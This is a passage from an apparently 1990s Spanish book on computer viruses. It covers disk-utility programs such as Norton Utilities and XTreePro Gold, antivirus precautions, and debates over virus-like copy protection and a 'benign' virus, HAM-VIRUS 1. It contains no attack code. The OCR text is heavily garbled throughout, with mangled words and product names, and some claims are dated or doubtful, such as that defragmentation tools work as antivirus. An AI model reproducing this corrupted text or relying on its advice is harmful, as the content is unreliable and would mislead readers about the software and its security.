del ststcm.l opcr<~lt\'O DOS para colocnrlos donde pued<Hl es­
lar bajo el control del usuano. 

SpinRile 11. Versión LO revisad<~. Progr<1m.1 de diagnóst¡­
co y rccupi!r<Joón de información en discos duros con (Lliios 
físiCOS u lógicos. Diseti<ldo por Ci/15011 f~t'~l'tlldz CorJ'OWiitllt, 
rcst,1blece los diltos ;:lim<~cenados en ilreas d<1il.adas y .1yud,1 
por rnedJO de software a alincnr J¡¡s cabezas de lectur<~/cscri­
tura p.n<t el mejor funcionamiento del disco. Rdorm<~tea L'll 

bajo nivel id supcrftcie del disco, sm destruir los datos, mlcn­
lrils optimizil el factor de intercaiacJón de los sectores. 

Su m 1 l. Progranw de utilidades p<~m los Slstem<~s M<lcm­
tosh, de Syn~tmfec, gue perrmte hilcer copi<~s de scgurid<~d y 
recuper<1r ilrchivos borrados (File recm'L~r). Proporcion.:1 se­
guridad contra1mradas indiscret;¡s durante el é1cccso al disco 
duro, por medio de su módulo de protección mediante crip­
togramas o cbvcs secretas. Otros de sus múdulos import.:m­
tes son: Otsk Clitlic. Qutck Fix, que recupera <~rchi\'OS 
borr.1dos del disco duro, aunque sean muy gr<1ndes, p<~ra lo 
cuíll SL' utilizan varios discos flexibles, \'el SUM JI Pa1IIIÍo11 
Mod11lc. ' 

Take ChJrgc! Es un programa Je utilid,1d, de lJt'pnriiiiL'II­

Ial 'll:.chnofogJc~, que t1cne un¡nL'CJu de list<1 d·~ Y9 95 dólarL'S y 
reqwere 325 kB de menwnJ Ri\tv1 y el sistem<1 operativo DOS 
2.0 o posterior. Es un programa res1dentc L'll memoria que 
o.c_upa 23 k1.3 en la me~1~on,1 y se encMga del control y e¡ecu­
Cinn de aphcanones. f1ene una upcu)n par,1 la rccuperaCJÓil 
de ;ucl11vos borrddos en forma <~utom,itlca o en forma inte­
r<Jctiva, con pantal1.1s p.1rccidas al Dcbug dl'l sistema opera­
tivo DOS. 

Tambu5n incluve una serie de utiildades de escritoriO 
como: c<~k·ndMio, .. block de not.Js, reloj con alann<~, módul¿ 
de C(_llllulllcaci~nes, base de datos, calcubdura y l<~s imprcs­
onthbles funcwnes: ed1tor de i1tnbutos, ethtor de sectores, 
formílleo de discos, búsqueda de cadenas de te:\to y desfrag­
mentación de <Jrcllivos. 

Thc Norton Utililies, Advanced Edition, Versión .t.S. Pro­
ducto de JJctcr Norlon Com¡mtiJig, <~hora de Symonlt'c Corp., es 
otro de IL)s progr<1m.1s de utiiJd.Jdes m.ls conocidos y seguros 
para t']mantcnirmcntn de archivos y disquetes n discos duros, 
nctividades en l<~s cu.Jil's es uno de los pHHlL'ros. El prngr.1m.1 
prnKip,ll, NU EXE, se ha perfeCCIOn<ldo y t1enc una nH.:>jof 
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pre~enl<~ción de l.~s pJnt,ll~as, e .uKiuye tres mó~iulos ya co­
nocidos que son 1: rplo~t' Dt~k, D1sk JnformniJOII y L111E111~e, las 
cuales pcnnitl'n 1.1 ed11.:ión de sectOJt.?s \' recupcraoón v res­
tauraCIÓn de Jrchin)s borr,1dos (File rt'C;li,cJ) Est.:1 nuevJ edi­
ción incluye dos progr.1mas que no se conncí<~n en las 
"?rsioncs ;:¡~Hcnores y que son SI) (Spccd Disk), que optuniza 
d !Scos mcd Ji1n te tksf rngmen t,lCión de arch1 vos, y N \)1) ( N,lr­

ton Di~k Doctor), que PL'rllllk Jt'f)ilrar el área de carga (boot 
Jrc<~), 1.1 tabi,I de ,blgn.tcit1n de Mchi\'ns y los archivos aloja­
dos en sectt)res dznladus. 

Los prograrn,lS cl.'tsicus de lils UIEIIdadcs Norlu11 son r-A (File 
Atribule), que (,l!llbta y e:\hibc los ;ttributos de los i1rch1vos; 
BE (Bah.,, Enluii/LCI) h<:tLc m<ls funcion.tles los .1.rchivos BAT 
utihzando subcomandos para control de color, brillo, \:enta~ 
nas, etc.; FF (Filt' F111d), p.u.t búsqueda de archivos por su 
nombre en todos llJs suhdmxturios; TS (Te.rl Sea re/¡) busca Cél­
denas de c,u,Kteres; NCD (Norltlll Chrms .. • [)¡rcclory) crea, cli­
min.:J. y renombr.1 los subdircclnnos indic<Jdos; UD 
( Unrt'III01't' Di1 t'C/tll y) recuper.:J un di rL'Ctono borr<~do; V L ( Vo­
l u me Labc!) cre.l n c<~mb~t1 el nombn! .1 un disco, FD (File Dalt•) 
cambi,1 la fedu y lwr,l de cre,lCiún en los archi\'os; SF (SaJe 
Formal), h<tcc el form<liL'O dL· discos, cre,mdo un <Jrchivo Je 
control qut' permite recuper<Jrlos si se llegan a borrar acci­
dentalmente; Fl (File lnfoJ, lista los .uch!\'OS de un J1sco junto 
con sus comentanos, si los ttene, DI (IJJsk /ujimnalioll) pre­
senta los p.u<lmctros del discn; NI (Thc Norlo11 lntcgralor), 
muestra en pantalla todos los progfi1rn<ts de Norton y permi­
te escoger uno par¡¡ ejecutarlo, SI (Sy~tcm l11jonuation) mues­
tra el estado del sistema; LP (Une Pnnl) unprunc archivos Je 
texto, pernutiendo d<Jrles formato; IJ) (Lis/ Din·cloru•s), lista 
los subdirectonos, Trv1 (TinlL' Mark) reimcializ.:1 el reloj; OS 
(DirL'ctory Sort) clasifica los archivns en el directorio; NCC 
(Norto11 Co11trol Cclllt'r), permite el <Jcceso a las funciOnes bá­
sicas de !..1 computador<~; FR (Formal RcetJL•cr) recupera IJ in­
formaciÓn borrada de un d1sco formateado con SF; QU 
(Quick U11 Erase) ~wrmite 1<~ recuperación autom<Ític<l de archi­
vos borr<Jdos; WtpeFilc, borra toda la información de Jos ar­
chivos sdecnon<~Jos; Wlpt•Disk, elimina todos los Jatos de 
i_?.S archivos borr,ldos, nnpi(hendo su recuper,lción; FS (File 
S1ze) reporta el tamailtl de un archivo o grupo de ílrchi\'OS y, 
finalmente, DT (Disk Tt's/), que re;-tliz<~ una vcrific<1cit'in com­
pleta del disco en la umdi1d especificad<~, c.unb1ando de lu­
gar la información ubicad<~ en sectores d<11l<1dos o con 
posibles (alltts. 
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Figura 7.16 
Desde que se 
inslola. Norton 
crea dos grupos 
en W1ndows. uno 
para las 
herromlenlos de 
DOS y otro para 
los opciones 
gráficos. 

Figura 7.17 
El programo 
clóslco Norton 
Disk Doctor se ve 
osi en Wlndows. 

Norlnn Utilitie~ S.O F:-;t,l es la n•rs1ún m,1s .n·;mz.lda del 
pnpul:lr p111;..:1.11l1.1 dL' utJ!Jd.ldes, qlu! .1hura ~L' prL·~enta como 
verSH.nl p.1r.1 \\·'¡ndll\\'~. ,l.tnquL' \'L'rd,lller,lntL'IltL', en eSL'I1LI.l 
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Figura 7.18 
SpeedDisk 
acelera la 
velocidad de 
acceso al disco. 
desfragmentando 
los archivos que 
se van 
grabando ahí. 

Figura 7.19 
Pantalla del 
1nteresante 
progmma File 
Compare que 
permite 
comparar dos 
archivos que 
hayan sufrido 
cambios. 
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Los programas de las uttl1dades N orlan pueden d1vidirse 
en cualnl grandes grupos de acut.;'rdo .11 cometido de ct~da 
uno de ellos: Recuperación de datos, Segund<1d, Optimiza­
ción y Herramientas. En el primero se encucntrn obvituncntc 
Norfon Disk Doctor, Disk Ed1tor, File Fix y otros. L<1 seguridad 
está respaldada por Diskreel, 01sk Monitor y W1pe lllfonnnlioll, 
De la optimización de la velocidad de acceso al disco se en­
cargan Cnlibrate, Norton Caclle y Spad Disk, y fin.llmcntc se 
agrupan herramientas como Batch EHiulllcer, Norlon Co11fn1/ 
Cenfcr, Duplicnte Disk, File Date, File Siu, l11i Editor y muchns 
más. 

XTreePro Col d. Progr<lma para el m<Jnejo intu~tlvo del 
disco, que permite busc<~r archivos con respecto a su conteni­
do, abrir archivos junto con sus aplicaciones, copiar o mover 
bloques de texto entre archivos, e incluso ver los archi\'OS en 
sus form<ltos onginales, incluiJos dUASE, Lotus 1-2-3, Mi­
crosoft \'Vord, WordPerfect, etc. Permite el uso del ratón 
(mouse) o bien puede operarse mediante el tccludo. Permite 
otras funciones como formateo, c<~mbio de atributos, cambiO 
Je fecha y hora en los arch1vos, e impresión del árbol de di­
rectorios. XTR.EE Colllpany lo ofrece por 129 dól.tres. 

8 

Cómo protegerse de 
los virus 
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L a mejor manera de proteger las computadoraS contra los 
virus informáticos es no utilizar copias ¡legales o "piratas" 

de ningún programa. Por supuesto, los programas autocarga­
bles de cualquier tipo, tales como los de juegos y otros, no de­
ben ser introducidos en el sistema a menos que se trate de los 
originales o copias de respaldo que se hayan hecho con la se­
gundad que son auténtic<~S-

Esto un plica observar una serie de conductas de trabajo y 
tomar medidas de seguridad que pcrmit<1n prevenir !Js mfec­
ciones virales y otros percances que suelen ocurrir al leer o 
grabar uno o más .:trchivos en cualqtuer disco, o transferir in­
formación a través de redes Je computadoras. Las conductas 
que se deben adoptar deben ser de acuerdo a una cultura m­
formática sana; es decir, est<Jr conscientes de que la computa­
dora es sólo una hcrmmicnta y no un genio que resolverá 
todos los problemas que se presenten, por lo t<mto se deben 
tomar prcct~uciones p<~ril m<1ntener a buen rec<Judo la m for­
maCIÓn que se genera diariamente con la computadora. 

8.1 Medidas de seguridad 
Las medidils de scguridild que se mdic.1n il continuación per­
miten un mínimo de seguridad cuando se trabaja con compu­
tadoras. No es que el trabajo automatizado tengil factores en 
su contra, pero la irreverencia de algunos "gcnws" de las 
computadoras hace que se ve.1 con temor el uso de éstas p.1r.1 
realizar las labores cotidianas en la of1cma, el taller, la escuela 
y el hog.u, de tal manera C]llt! si no se toman mcd1das apropia­
das de seguridad, se plll',kn tener conlr<~tiempos con la in­
formación. 

Y Lo que se debe hacer cuando se adquiere un programa de 
cómputo, es hacer una copia de respaldo (Backup) de c¡¡Ja 
disco que contenga datos creados por usted. Nuestril reco­
mendación consiste en hacer tales cnplilS de seguridad al 
final del día, y rculizur un respaldo de todos los <Hchivos 
de usuario semilnill, quincenal o mensualmente. De este 
modo, si se detecta o se presume que el SJstemJ. h<~ s1do in­
fectado por un vin1s, podrá usted partir del último respal­
do SIIIIO al momento de reslilurar !.1 Hlform.lción en 1<:~ 
computadora 

>- Cu<1ndo esté seguro de que la comput<:~dora ha s1do infec­
tada por cualquier tipo de virus, proceda a apagar el equi­
po inmediatamente para evitar que el v¡n•s se reproduzca 
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Figura 8.1 
Protejo sus 
disquetes 
originales para 
evitar que se 
puedan 
contaminar con 
algún virus. 

en los d1squetes n en el disco fijo. Adcm.1s, al <~pagar la 
comput.1dnra tamb¡(>n se logra elimin<1r el \'irus de la mc­
moriJ J(,\ 1\ l. l_uego, tome el disquete origin,ll que cunt ienc 
el sistcm.1 lljit~rativo que debe cslnr ¡ntltcxidu contra escritura 
y proced.1 ,¡ reemplazar b copia del DOS en el disco fijo o 
en la copi<~ de trabajo. 
Para reempla.t.:ar el sistem<1 opcr,lll\'0, use (•[ comando SYS 
del DOS. -Le su¡..;crimos consult.tr el libro Todo sobre MS 
DOS 6.22 de Abelardo Pani<~gua, de est.:J nllsma editorial, 
para aprender el uso del comílndo SYS.-

);.o Los disco~ de 5 l¡_¡ o de 3 1!! pulgadas guc contengan pro­
gramas originales Siempre deben protegerse contra escri· 
tura coloc.índolcs una lengüeta en la muesca, o corriendo 
el seguro en l<l ventan<~ de protección -1<1 m<~yori.-. de los 
program<1s no necesitan que se ~rabc información en el 
disco-. Si .11 ejecutar un progr<1m<1 .:1p<1rece el mens<~je que 
nos mdiG1 que se intenta grabar mform.1ción en ese disco 
"Wnlc Protcct Errvr Writius lJnP.: A." a pesar de cstílr pro­
tegido, síihremos l)Ul' oigo no cstiÍ. correcto y se debe .wcri­
gu;u d~ qué se trata. 

;.. Los programas o poquetcs onginolcs \'IL'llL'il í!Lnmp.ü'tíidos 
de un mt1nu.1l que enseil;¡, ent1e otras cos;ls, cómo h<1cer 
copi.ts de respaldo (back.up). Es .lnmsej.-.ble seguir Siem­
pre esos llldic<Jciones, \r<lb.tj<Jr con 1.-.s copii1S y gu.trd.u los 
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ongm.1le::. ¡!lo/¡'Sido~ co11fm cscnlutl! en un lugar seguro, 
fresco\' Slll l'\.CeSi\'<1 humedad 

r Cu<1nd.o dL'Iectc algo extr<~ii.o y sos~wchc que pued,1 Sl!r un 
virus, descllnecte tod,Js las línc.1s de transferencia de mfor­
maoón-t.llcs como módems, redes, telmin.-des c inter(,JCl'S 
con otnJS equipos o d¡sposiiJHlS de enlr<~dJ/s.11Jd,1- p<1r.1 
evitar que se disemme d vnus a otros SIStemas, o que se 
introduzc.1 en I()S que están cnnect<Jdos en ese momento. 

:,... En un.1 i'L'd o S!SIL'lll,l comp;nt1dn (Nd\\'ork) con\'iene 
crc.1r un subdnectono par.1 Glli.:l usuarin, y proteger el.lC­
cc~o ,ll•llos 01n un.1 cl,l\'e de idcntJficclCión (p<~ss\\'urd) lll­

dividu,llli..ld.l par.1 qu~ los opL'!.ldores sólo puedíln 
trabajtlf en su correspondiente subd,rcctorio. Esto sa!v.l­
gu.uda 1.1 mtegridad de los .lrchi\'OS, sobre todo los de d.l­
tos, que utillz.lll los otros operarios. 

:.;.. Al cop1ar un lltle\'o prngram.:1, se debe \'L'fiflcilr p.11<1 CL'r­
cwrarse que no contiene mcnSi"IJL'S L'XIraiim, t.li'-'S como: 
¡tltjl jtltf', ¡g¡)fc/¡111, 1 Vt'lo•ntt' lo 1 he dullgt'Otl. b!'<l'tln' of IIIL· ¡•¡­

m~. o Te 11,'\llltt', porque con tod.1 segund.1d se tr.1t.1 dL' un 
progmm.1 port.1dor de un \'!rus. P.1ra ello, use un prngr.1-
Illil desensambbdor cnmo Debug o cu;J!qu¡er.1 dl' !ns prn­
gramils de utdtd.ld m.ís etmlllnes; fJC TOo/:::, XTIU~E Gold, 
!vlan· UtlltllcS o Norltlll Utthflt'::>. 

>- Tcng.1 !lludw cuid.1du con los progr.llllílS que se inSt.1l;Jn 
corno residenks en 1nemnn.1 (Termlllílte .1nd Stíl\' Rl·si­
dent. TSR), ya que l<l mayoría de los progr<1mas de ,;irus ::.e 
inst.1bn en 1.1 menwri.1 com·encton.ll o ~~Ai\1 p.11".1 re.tliz,¡r 
sus per¡udiclilles <1cciones subrc el s•stema y los discos. 
Existen pro¡..;r<lm.ls res¡ dentes en menwn.1 que pueden ser 
de gr.-m ulilid<ld para IIL'var b <~gcnda, el calcnd.uio, un 
block de nut;¡s y múltiples apiJC;¡cinnes de escritorio, pero 
no dclwn instularse a menos que proveng.-.n de los disllliC­
tes onginíllcs. 

:.;.. 1:1mbién se puede venfic.u eii.Hnail.o -en bytL'S- dL' losar­
chi\'OS ocultos de sistem.1 y el de los Jrchivos COi\1 o 
EXE, parí! ver si se ha mcrementado ese wdor. De ser .1sí, 

debe so~peckasc que existe un<l infl•cciún \'1r.1l, por ll) qu'-' 
procede tomar las medidas enuncÍ.llbS .Jquí pílra proteger 
efic,1znwnte !.1 infonn<Kión -que much;JS \'eces s~ h;J gL'nc­
rodu l'll laJ gu tiempo de .udtal trab,lJll-. t\lgunos p1 ll)!.l";tlll,1S 
detectores de \'irus nwnitorean esos archn·os L'jL'cutabiL·s y 
dclecl,ln si h.1n sufridn c.1mbios en su t.Hnailll. 

}o- L;¡s emp1es,ls que IL'ng.m si::.tcm<1s "computtJdorizMltls de­
ben est.1bleet•r n1étodos de control para que sus operado-
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Figuro 8.2 
Las empresas 
deben tener 
control del 
personal y ros 
discos que se 
Introducen a sus 
áreas de 
sistemas. 

res no introduzcan disquetes de dlJdosa procedencia en las 
computadoras. Tampoco se debe permitir que se los lleven 
a ).J casa y posteriormente los traigan al trJbajo, quizá con­
taminados con algún virus. OtrJ mcd•da de seguridad 
consiste en prohibir la cop1a de programas originales o lil 
modificación de éstos. 

;¡,;..Cuando usted vaya a trabajar en un<l computadora que 
esté encendida y no conozca el trabajo que se estaba reali­
zando en ella, evite introducule un disquete. Lo recomen­
dable es que la reinicialice (Reboot) usando un disquete de 
sistema que esté protegido contra escritura y tenga usted 
la seguridad de que no está infectado, pues de lo contra no, 
si la comput<~dora está infectada, d disquete que usted in­
troduzca en la unidad de disco puede contamin<~rse. 

>-Si cuenta ~.:on varias computadoras, es muy conveniente 
tom<~r una sin disco duro como máquina de pruebas, en 
donde se verifiquen todos los programas nuevos ponién­
dolos en cuart:llfc1111, y sólo cu<~ndo esté sl'guro de que están 
sanos podroí p<1snr los progr.:~mas al d1sco fijo o a !Js redes 
(Networks). 

>- En los países donde existen servicios de carteler<1 electró­
nica (Uulletin Board Services, BBS) -que son servicios de 
distribución de software o de m formación por vía teldóni-

---"OT" 
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ca, pagando una suscripción-, se debe verificJr si efectúnn 
o no una revisión prev1a del código de cadJ progr<Hna que 
ofrecen. Además debe tenerse sumo cu1dado cuando se 
c<1pturan (Download) los programas, y revisar bien los dis­
quetes que se usaron antes de 1nstalar tales progr<~mns en 
el d1sco fijo o duro. 
Es recomendable esper(lr unos días para ver si no pasa 
n<1da extraño con esos pmgrJmas antes de empezar a utili­
zarlos con plena conf1anza, aunque se ha demostrado, con­
trario a las creencias, que los I3US no son focos de distrilmCIÓII 
de l)lnts. 

La m.1yoría de ellos toman todas l.ts med1das de seguridad 
necesarias para evitar las nmlaminacioilt•s, ya que !.1 com­
petencia entre los diversos :'CrVICros de carti'/aa t!leclrónica 
hace que quien distnbuye cop1as infcctad<~s entre los usu,,­
rios pierda su mere<~ do. Sin embargo, más va le prevenir 
que lamcnt.n. 

,_ Un<~ protl.'cción adicional contra los virus consiste en cam­
biar el atributo de los archivos con extensión .COMo EXE 
a sólo lectura (Read Only). Esto se puede hncer usando el 
com<~ndo ATTRl U il part1r de la \'CrSIÓil 3.3 del DOS, o ma­
nualmente si su versión del SIStema operiltivo es antenor a 
ésa. Para mayores dct.JIIcs sobre el uso del comando AT­
TRII3, le sugerimos consultar el libro Todo sobre DOS 6.22 de 
Abelardo Paniagu<~, publicado por esta misma editorial. 
Otro método para asignar el atributo de sólo lectur<t a estos 
archivos, lo proporcionan los progr<~mas de utilidad que 
incluyen la opculn cambiar atnbutos a uuo o más ard11VOS. 
P<Jril hacerlo, s1ga las instrucciones del programa de utili­
dad que esté usando: Mace Lllilitles, Norton Uti/ities, QDOS 
3 o PC Tools. 

;,;.. Comprimir o compactar los arch1vos con periodicid<td en 
el disco fijo para optunizar el área de alm.tcenamiento, 
usando herrarmentas tales como Optune, Compuss de PC 
Tools, el programa Mact: Llltlllics o SO (Spad Di::>k) de Nor­
tou Utilities, resultará de gran ayuda al momento de con­
trarrestar un at<~que viral. Esto se debe a que tales 
programas de utilidad permiten reconfigurar el disco fijo 
al mismo estado en qul! se l!JlConlrJban los archivos antes 
de ser atacados por el v1rus, sólo hay que ser cons1stentes 
en su uso. 
De hecho, programas de utilidades par<1 desfr<~gmentar ar­
chivos como Opt1me o Nortcm Utiltltes, aunque no tengan 
ese objetivo, son antivirus porque cuando detectan algo 
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cxlrnr'\o en t.>l St...'Cior de c.nga (Boot sector), lo regL•neran, 
con lo que quecb climin<~do el virus. 

8.2 Protección integral 
Todas l.1s ITIL'did,ls que se pucd<1n tom<H p<tra el uso de !Js 
comput.1doras pueden resultar infructuns.1s sr ,1lgurcn que 
tcng<~ Jcccso JI srs\L'l11<l introduce un progr11ma maligno; es 
decir, p.u<~ que un sistemíl sea segurL) deber<'i est.1r apng.1do y 
fu era LIL' 1 <1lca nce de e u a lq u ier L'X t r ,1 ñn. 

Esto no h.xc mjs que concientiz<~rnos de que nucstr<l com­
put;'ldor<l siempre puede contraer un.:~ infección por algún vr­
rus, por In que debemos estar prcpc1rados pc1rc1 cualquier 
contingenctn. ]=red Cohen -El padre de los virus infonn<lti­
cos- prcgon<1 en confcrcnci;¡s y cursos imp<~rlidos en Univcr­
sid<u.les y iorns CÍL'ntíficns, que l;-ts comput.lllor.ls sic111prt' 
cstn11Í11 n¡mt'slas a contosios llimlcs, por lo e¡ u e se deben prever 
soluciones intt'grale!:> p<~l"<l la protecc1ón de los sistemas com­
pltt<ldonzado.s. 

El s•stcma ptopucsto por el Dr. Cohcn p<Htc del hecho de 
que ninguna computadora es inf.llible, por lo tanto h<~y que 
proteger 1.1 mform.1ción desde di,·ersos puntos de \'ist.1: h<l­
ciendo respaldos de los datos en pcríodtlS frecuentes, room­
toreando las actividtlllcs de b computador<~ pt~ra saber si 
t~lgo L'.\tr<aiio se t.?!:>tá llev<~ndo .1 c<abocn su intcnor, y, si <1 pcs<ar 
de tod.-.s cst.-.s prcc<~uoones su computadora h<1 quedado in­
fect<ad.l por un virus, proceder con much.1 c<~utclll, sin p.íntcc 
y con scgurid<Jd. Su m<~yor preocupación dl."lbe consistir en 
tratar de recuperar esos Vil liOsos <archivos de datos que con­
tienen la inform<Jciún paciente y laboríos.-. mente creada por 
ust_eJ, pucst_o que es lo que mayor v<1lor represen t.-. para cual­
qmcr usuano. 

Si usted tiene todo bajo control; o SCil, que tiene tod.1 su in­
form<ación respilld.lllil y los discos originales de los progril­
mils, Jebe borrJr los <Hchivos 1nfectildos o form.-.te.-.r los 
disyuetcs o el d1scu duro, cu,mJo hfln sido infcct~Jos por un 
virus desconocido. Si se lrilt.l de un d1sco f1jo, el form.J.teo C]Ue 
se le dé debe ser de lmjo 11ivd pilr.l limpiarlo tot.J.lmente. Un.l 
vez h!!chil est.t limpl!!Za vuelva .1 rarg;-¡r o inst.1l.1r l'll él los 
progmmas de aplicación que usa comünmente, pero hilgaln 
a pilrtir de los disq11t'fcs onginalcs o copiils SlliiiiS dd softw~ue, 
teniendo cuid<:~Jo de m<1ntencrlos prolt•gidos colllmt!scrilllm. 

Y nuevamente repetimos ilquí lil mils import:tntc de tndils 
estas mcdid11s: 11u etllljil! c11 copia::: dt' prosm111as, SllltJ t'll los ori-

_ _j__ 
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grllt1/t'S IJIIt' íl:>ft'lllllJJ e/ IIOIJibu• del tlll/01 O l"t'SJIOIIStl/JIC, :511 d1 l"t'CciÓII 

o tcléjo11o y d ICSISlro IL'glll n COJ'Y' i,..;ht corrcspo11d1t'lllt' Esta pue­
de ser la \'CrtLllil'ril solucJÓil al problcm<a que, como dqo al­
gún día Fern11ndo Lilrmguetro -revisor edJtonill en temas de 
computación- El pJtJblt'lllll tic los i-'ll"r/5 es la plaga dc /a¡í/tulla d¿­
cada dc t'Slt' siglo pam la computaoó11. 

Lógicamente, i<ls mcdíd.1s em1merad<Js con antenoridad 
son sólo mcdid.1s de protecCIÓn para lil computador.-. y sus 
discos, y aunque e:xisten programas antivirus, has!il el mo~ 
mento de escribir es le l1bro no ha ap.:~recido uno que presente 
una sohiC!Ón que sea lOO% confi<~ble. Se espera que en l<a me­
dida en que se conozca mejor el funcionarmento de la com­
putadora en gcner;:~l, y de los cnmandos de los sistemas 
operali\'OS en pilrliculur, se desarrollartln m.ís y mejores pro­
gram<~s antiviralcs pilra at.lCilf con mayor eficaciil il los virus 
informáticos 

Los fabricantes de CC]uipos ya est.ín desilrroltilndo ;:~lgun<as 
soluciones por 1.1 ví.1 del hardwJre, tales como incluir dispo­
Sitivos físicos p11ra la protección contr.l l.1s infL·Ccitmes vir.l­
les, pero también se visu.1liLil una soluci{m mediante 
progrtHllilción, utilizando sistem_.:ls opcr.:lliv_os en modo p_ro­
tegido como UNIX y otros; por e¡emplo, el s1stema operatJnl 
OS/2 ya cuenta con mecamsmos p<:~ra impedir la dJscminil­
ción de los \'itus. Sin t'mb01rgo, el problemam;ls grave radica 
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en que no todos los fabricantes Jc hardware reconocen la ex­
istenci<l Je los virus. 

8.3 Controversias 
Los progri1mas de virus han dado origen a una gran contro­
versia L'll el campo de la informática. Mientras que los usua­
rios opinJn que la creación de prngrJmas de virus es una 
acción terrorista y de manifiesta falta de ética, los bbricantes 
de software opinan que en algunos c,1sos se justifica la utili­
zación de esquemas de protección que t11111que 110 se 1/amt'll z,j­

ms contengan cóJ¡gos muy parl!cidus. Estos últimos 
justifican su proceder alegando que al detectar que se han he­
cho demasiadas copias de algún programa fabricado por 
ellos -demasiadas para creer que se trata de copi<1s de respal­
do-, los esquemils de protección discii.ddos por el fabricante 
de software pueden proceder como (!gentes VIrales, destru­
yendo los archivos en el disco qu~ supu~stamcntc tiene una 
cop1a ilcg<~l o p1mla del software que desean proteger. 

Esta polémic<~ fl'dlmcnte (omplica b cuestión, porque has­
la el presente en la mayoría de los países no se ha legislado 
sobre la m<:~teria y !<Js p<Htes contrapuestas en d conflicto tie­
nen muy variados y valederos puntos de vista. Por un lado se 
cuestiona la legalidad de incluir o no un esquema de protccció11 
tipo virus en el softw.1rc origlllal, mientras que por el otro pre­
valece la duda de si es ético hacerlo Puede ser que mientras 
no exista una ley que sancione el hecho, cst<1 práctica se con­
sidere lcg<~l; sin embargo, en Estados Unidos ya se han plan­
teado ¡¡Jgunas demandas en los tribunales, y es de esperar 
que se presenten muchas más. 

El periód1co Computerworld de México, en un artículo 
publicado el 30 de enero de 1989, menciona un progr<1ma 
creado po~ el estucilante de ingeniería en computación y ase­
sor de vanas empresas, Rudolfo Muii.oz Zúñiga, quien opina 
que se pueden crem virus no darlinos como protección para 
los programas pa111ayudnr n COIICÍentiznr a los usuarios mt::uca­
nos y la/ moamenomos, sobre el concepto de viru;:;. En consecuen­
Cia, Muñoz Zúíi.iga creó el prngr.tma HAM-VIRUS 1, con un 
ta~año Je 1 070 bytes -in el u yendo un mensaje de 500 bytes-. 

El virus se manHiesta la pruner.t vez como una meríl ad­
vertencia: Esta vez 110 pasó 11nda, pao existe la posibilidad de que 
la próxima le afecte los archivos o el si::>lema operativo. El contagio 
se realiza siempre desde una copia ilegal o pirata de algún 
programa. Una vez ejecutada toma el control dd sistema, in- J 
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fectando y nwrcamlo los programas cjecu tables. A un que es un 
virus bt:mgno -es decir, que no destruye Mchivos de datos m 
produce efectos noCI\'OS en el St.":>tcm.l-, causil muchas moles­
tias alusuano, porque cada progr<Imil inféci.Jdo que se ejecu­
te trat<Jrá de lllÍect,lr a otros pmgr<1mas 

Con rel<1ción al problema de la ptratcrítl cstudt<lntil, opina 
Rodolfo Muiioz Zlírliga que ~e pueden tomar .1lgunilS medi­
das, como el que varias empresas n asocJJ.Clones espeCializa­
das en computac1Óll tomen a su Cilrgo lil creación de 
progrn111olccas que pongan d snftw,Hl.' original al alcance de 
los t..•studi<mtes de c<~rrer<ls rt..'I.Kwnadas con la inform;itic<l 
Yil que ellos generalmente no tienen la capacidad cconómic~ 
p<:tra compr~r los progrilm<JS originales y, por lo mismo, co­
pian éstos de la maner.1 que pueden. 

Se p!Cns.l que lo antcnor prnp!CiJr,l que los estudiantes se 
familiaricen con los prograrn.ls que les mtercsJn, para que 
cuando ellos ~e cnnvicrtan en usuanos -o tr.lbt~jcn como ope­
radores de comput.JJords-, recomienden <1los gerentes de los 
depi1ri<Jmentos de cómputo l.1 compra y utilizacu'in de ver­
siones unginale~, convt:nc1dos de que obtendr;in mcíores re­
sultados y estar .in a salvo dt! las infecciones virales. 

Otras ayudóls, continúa Muii.o1. Zú1liga, seríil contar con 
descuentos e;llos libros de comput,Klón, sobre todo en espa-
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ñol, y¡¡ qu~ ]¡¡ m¡¡yorí<~ est<ln escritos en mgltis. Adem;ls, con­
vendrí.l que L'\Ístreran .lgrup.lCioncs de profesion<llcs en ¡., 
materia que <Jsesnren ¡¡los estudrt~ntes en sus duelas técnica::., 
pues a veces ni los mrsmos maestros tH~ncn la capacuJod o el 
tiempo r1L'CL'SMio p<1ra h<~ccrlo. 

Qui;_á no Stl]g¡¡n muy bien hbr.1dos los ac'us.rdos: prugra­
mt~dorcs y fabricantes de sofl\\'<Jrc que se defrendcn de ],r in­
justiCia que p;1r¡¡ ellos reprcsenltl la tan difundida pnalaírl dl' 
prograrn.1s, y tluicnes <1pl1can sus cononmientos técniCo~ 
partl proteger el soft\'·.'<Jrc creado por ellos. O 1<~1 vez seiln 
ellos qurenes tengan l<1 razón. La siempre creo ente comuni­
dí!d infnrmtític<J mundizd de seguro est.í pendiente del rc:,ul­
tado y lo que ello signdicnr<Í para esta nuev<~. y dinílmicn 
industna. 

Es prnb<1ble que lcl solución contemple un compromiso 
que no rl'presente un rumpimiento con líi étic.J, pero que ayu­
de <1 concientizar .:1 los usuarios sobre !.1 con\'eniencia de uti­
IJzar sólo progrnmJs origint~les, y que igualmente obligue il 
los programadores a ser m<Ís conscientes con respecto a los 
beneficios cconórn1cos reales que deben obtener de su soft­
\VíHe, de t;d nwncra que cst<Jblezc.m m veles de precio m<Ís <1C­
ceslbles u 1.1 muynrí.l de usuurius paru que no estimulen b 
proliferación de copias ilegales. Pienso que esto sólo se logru­
rá si los progrnmas se venden en mayores cantidades pero a 
prenos míls bajos, política "descubierta hilsta ahora" por los 
"genios" de In computación, que ya están poniendo en prác­
tica esta medida 

Lo anterior pone de manifiesto la necesidad de crear en to­
dos los pníses, Jsociaciones serias y responsables -como la 
Compuler Vims l11dustry Associaf1011, que ya existe en Estados 
Unidos- constituid<1s por usuarios y fabrict~ntes de software 
y hardware, con miras a discutir los pasos que se deben ·seguir 
parn optimizar lo mejor pílra .11nbas partes. Tt~ks <:~sociacio­
nes, de cre.1rse, <:~yudarían <1 err.1dicar los virus informáticos 
Cl.lnlO agt'lllt'S dt! lt'n onsmo, y contribuirían al bienestar y t ran­
quilidad de qmenes tenemos que trobujilr con líis computa­
dor<JS. 

Aprovecho aquí p;ua agr.ldccer a tilntos lectores que h;:¡n 
escrito a esta editori<ll desde v;:¡rios p.:1íses, sum;lndose" la 
propuesta p.lra fonnilr la /1ngada anf¡z¡zru:>. De.sgrclcitld,Hnen­
te lils comunicaciones por correu son demilsiado lent<Js com­
paradas con la velocidad a la que viaj.m los virus dentro del 
m<~letín de algún usuilno o a través de bs redes de comunica­
CIÓn. Esto ilun.Hio <ti tiempo que nos toma el trabaJO con J¡¡ 
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computadnrJ, h.Ke difícil 1.:1 cn•ación de grupos d~ L'Siudio de 
los \'irus. 

